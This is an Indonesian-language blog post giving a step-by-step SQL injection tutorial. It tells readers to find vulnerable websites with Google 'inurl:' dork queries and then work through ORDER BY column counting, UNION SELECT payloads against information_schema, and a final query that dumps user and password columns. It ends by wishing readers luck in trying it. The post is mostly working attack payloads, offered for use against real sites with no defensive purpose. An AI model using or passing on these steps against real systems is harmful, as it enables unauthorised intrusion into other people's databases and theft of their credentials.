Minggu, 18 Desember 2011

SQL Injection

sql injection adalah serangan yang memanfaatkan kelalaian dari website, dan juga sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client, dan juga sql injection merupakan teknik mengeksploitasi qwb aplikasi yang didalamnya menggunakan database untuk penyimpanan data

Cara-cara SQL injection:
=> cari target web yang ingin di sql injection dengan cara serching di google dengan menggunakan kata kunci, contohnya sebagai berikut

>>inurl:trainers.php?id=
>>inurl:buy.php?category=
>>inurl:article.php?ID=
>>inurl:play_old.php?id=
>>inurl:declaration_more.php?decl_id=

=> nah, jika sudah memilih web yang ingn di sql injection, untuk mengecek apakah web tersebut bisa di sql injection yaitu dengan cara menambahkan di urlnya yang terakhir dengan simbol petik satu('), jika terjadi error sql, maka web tersebut bisa di sql injection.
example:(http://testsql.com/news.php?id=321')

=> langkah selanjutnya, adalah hapus tanda petik yang tadi, kemudian di tambahkan kata order by 1--, ini berfungsi untuk mencari kesalahan pada web tersebut, intinya kita mencari error pada web tersebut, jika sudah menemukan error maka yang diambil nilai sebelum error.
example:
(http://testsql.com/news.php?id=321 order by 1-- no error )
(http://testsql.com/news.php?id=321 order by 2-- no error )
(http://testsql.com/news.php?id=321 order by 3-- no error )
(http://testsql.com/news.php?id=321 order by 4-- no error )
(http://testsql.com/news.php?id=321 order by 5-- no error )
(http://testsql.com/news.php?id=321 order by 6-- no error )
(http://testsql.com/news.php?id=321 order by 7-- error )
nah berati yang diambil yang ini http://testsql.com/news.php?id=321 order by 6--

=> kemudian anda ganti order by nya dengan union all select, kemudian angka 6 nya di jabarkan satu per satu seperti 1,2,3,4,5,6 dan di depan angka sesudah = anda tambahkan -, jadi contohnya seperi ini.
(http://testsql.com/news.php?id=-321 union all select 1,2,3,4,5,6--)

=> nanti akan muncul angka-angka, anda ambil salah satu jah, tapi menurut saya ambil angka yang paling atas, kemudian pada url'a, pada angka yang tertera anda ganti dengan @@version, ini berfungsi untuk menampilkan versi mysql, kita disini akan menjeaskan sql injection dengan menggunakan mysql versi 5, misalkan ada angka 3, nah angka 3 nya anda ganti dengan @@version.
example :(http://testsql.com/news.php?id=-321 union all select 1,2,@@version,4,5,6--)

=> kemudian nanti ankan muncul angka, angka tersebut merupakan keterangan versi mysql yang digunakan web tersebut, jika keluarnya 5.0.1 maka kita bisa mengsql injection web tersebut.., langsung jah, yang @@version anda ganti dengan group_concat(table_name) lalu pada akhir url sebelum -- anda tambahkan dengan from information_schema.tables where table_schema=databses().
example:(http://testsql.com/news.php?id=-321 union all select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema=database()--)

=> kemudian akan muncul beberapa tulisan, kita cari yang berhubungan dengan admin / user, karena kita disini mencari table user / admin, jika sudah nemu kata admin / user, langkah selanjutnya kata admin / user anda convert menjadi hex, bisa menggunkan web disini http://www.string-functions.com/string-hex.aspx (hasil dari convert hex user = 75736572), jika sudah, langkah selanjutnya adalah mengganti kata databse() dengan hasil conver hex yang tadi dan ditambahkan dengan 0x(misalkan kita ambil kata user), kemudian ganti kata table yang ada di dalam kurung menjadi column dan kata tables diganti dengan columns, lalu kata table_schema, kata schemanya itu di ganti dengan kata name.
example: (http://testsql.com/news.php?id=-321 union all select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name=0x75736572--)

=> nanti akan muncul hasil dari table yang dicari, biasanya yang keluar adalah user dan password, maka kata user dan password anda copy, lalu kata column_name yang ada di dalam kurung anda ganti dengan user dan password, dimana ditengah-tengah user dan password ditambahkan kata 0x3a, lalu yang hasil hex nya diganti dengan kata sebelum di convert ke hex(misalkan awalanya tadi ambil kata user, nah kita ganti dengan kata user) kata information'a anda hapus sampai sama dengan (=).
example:(http://testsql.com/news.php?id=-321 union all select 1,2,group_concat(user,0x3a,password),4,5,6 from user--)

=> nanti akan muncul user dan password(biasanya password tidak dalam bentuk string).

SELAMAT MENCOBA
sumber

Tidak ada komentar:

Posting Komentar